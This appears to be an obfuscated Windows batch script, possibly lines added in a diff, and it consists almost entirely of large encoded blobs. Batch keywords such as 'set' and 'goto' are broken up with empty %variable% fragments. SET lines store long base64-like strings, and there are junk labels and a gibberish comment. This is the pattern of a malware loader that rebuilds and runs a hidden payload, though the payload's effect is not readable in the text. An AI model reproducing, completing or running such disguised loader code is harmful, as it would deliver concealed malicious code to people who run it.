A9KtYB6RMEjkgbQ1g8IyKzLljPedV/SV+j9tQuE4o7pWN3PLUpAmp9WucRHs1HfZEoNl1mswyeLwM7iHmfnQ9n2Nostw8IPHQauPlsaRSSmHI1zSTEYwsi8SELnw2gfGu5PLi1N4HPT55/TPacZ4iLTkwoXTNUJloqVfF2C4MJscM2Z79CWtAWZsj/EaXE2TFJRm67dT0cLJvH1mBPt6aSUhubiYfM60VsekYJS9bNMxdR79SruDnkNNvKn+mWOs/jA+7aU4vWh8HXC1JTceZNmR+aRjgHhmrnedAmXGLZxnDbzQRq4R643i6h99eJTIqpkTBX02N2dPFeG6L/JkPqLjHWINs4239U0Es71SGd5cKAEaiG0tsjB3qvCrnlPLXcjlpdAyQyBNud4JuSPDoJjuQTYI65Q4KmMwLlU9Y6TuJeosWx/rJoiPskZMpnO1rl+BtWovizIN4tJKi/kA9U+o3rwMJEBnizmoksiEz5lNwiAWGsT3vIQE3vodBhDlYXSp21TXYDPzHEyoVuh8WhIxyMmZ8aJTQb5uQj43ouAzHsuznOtdsIRKD/fviI1CwdcmCWpqvWz96iYWdCVVO/ROP6tPxQAOx4Vu1wjwifTA7VCjBOdVfAGrdb6uhfXehLvOltnp0yodt75LwST63Pb/Iyt24HnlMsUslq4mcHJDv/7sovF7z5p3ByjXvuo6EyXptdoVveoI8mQwwfjTu5LLFLH+uLMlUYNdGk1GIeA0MXRlPR0Zw0I6seuj1c66tYDqcADkXP5O8/cqzkcMFo0Q75XGoweN6ajl5ZRcgx4WwZ179lELs5ptnBORUMztFrt6ZXHyLPH3qkD0eJaasUbXgjWlHkh+1YRIwe86LjqQfhr/G8d0qmb9rziO1EN+ztnxjNSMcpvcJJ0z9GV/kTayvnJP7tsMfan8TIcNVJlq4WIHZdo5gsVYS9FGuXZNygGUHtw3JoScZpIYVuqH85HlWpq7MBBRVdwUsqNCgERwEGfj1fCTI9/62z7yatrwXu/MEQaLFu94wNpOuoXRwxFXWnSPE18C5VeGmWC1dNoM/3GoI/5Q3eGBKyM64LOjkE0FLt4kMkVeG3qyfaH10xC1Tk0WYeTLM2ZSmBiGWOEYoj1RS87IwS9DvJBVuPNHU+9lQN2ukVmv7fa4ShJw2hQ9aMLuBrotkjlewZbbNrClEV3BAPXDAfpbCc44DLO9WbM9nnhzxCaBakoqAKWsNkC4smLjWVK/YcqO8L2KeMvFK2Y+ugPu1R7NCF0Bxga6NLNrYoEx9PIu7GOzsLlkcicOqHaVq7Izg/2VpC6POMLpaIPp/36iKw4zzS5eD4JsJ3K86xwQwo9PzBjgfqwNgpTF8TGK3ubCLfsrEJy5tUi8/z9JJF0GPTuwiTkmxnkcgu3OeMVpQpgDLRHaXBT1U1sdC+TaTyn16VQgoBXO/hSLgYtkwriJFFQVvEVTpkA3SrIUTqADJZZouE85HnHzFAljzuslvR7nPizHje8xrXIGveF/QRSwicUOOMuHWvUsz0Ghzb3F/Wv1uaVcTzcR0vLU1s26HRs04iL0FUfIAKq5c+9A7riammVu57r9kx/98fAqbX1LYSBrDl7ooJJTwofUQDl7pTzRmNxS6qMQloywwEtpTgFp18JhgskgEjp8UQ7m3Ad8fSyUt3csGnO9CmD9DyvLyA0MopRiJHu3meZtFM+ZzT7ZUIZw
+set u9HraJGX=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
+%LUwoAo%s%UVFRNC4%et "k8A])6f8=iieM!ih"&& s%cnSovc%e%tJYO7et%t "KBS6iOK=43Nn4ob" &&%bATQ8Qde%se%V5wvxZJg%t%uORC0sRX% "X899BQ=Ji!nr"
+s%w9L3qd1%et "JrK)_3=eLNlx"&& s%IlujJb%e%urhfHqj%t%vJVN9R% "C7AaxkU=u6!JIM"&& %rGuxXz%s%r7vFOJ%et%cQKOa9% "gIbjt4Xe=!tTp"
+%apZGbBOR%g%le5i7MRB%o%mOyBT67%t%EzKdZKUd%o%dqgyUFf% :mP{U48I
+::  zarmkziy oshozjecw vyvvoqlkt mozszmkba mikiqa bojacvm hugatom hcnopis
+:uS1ZJ[JQ
+SET amiieM=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
+set tTp84C=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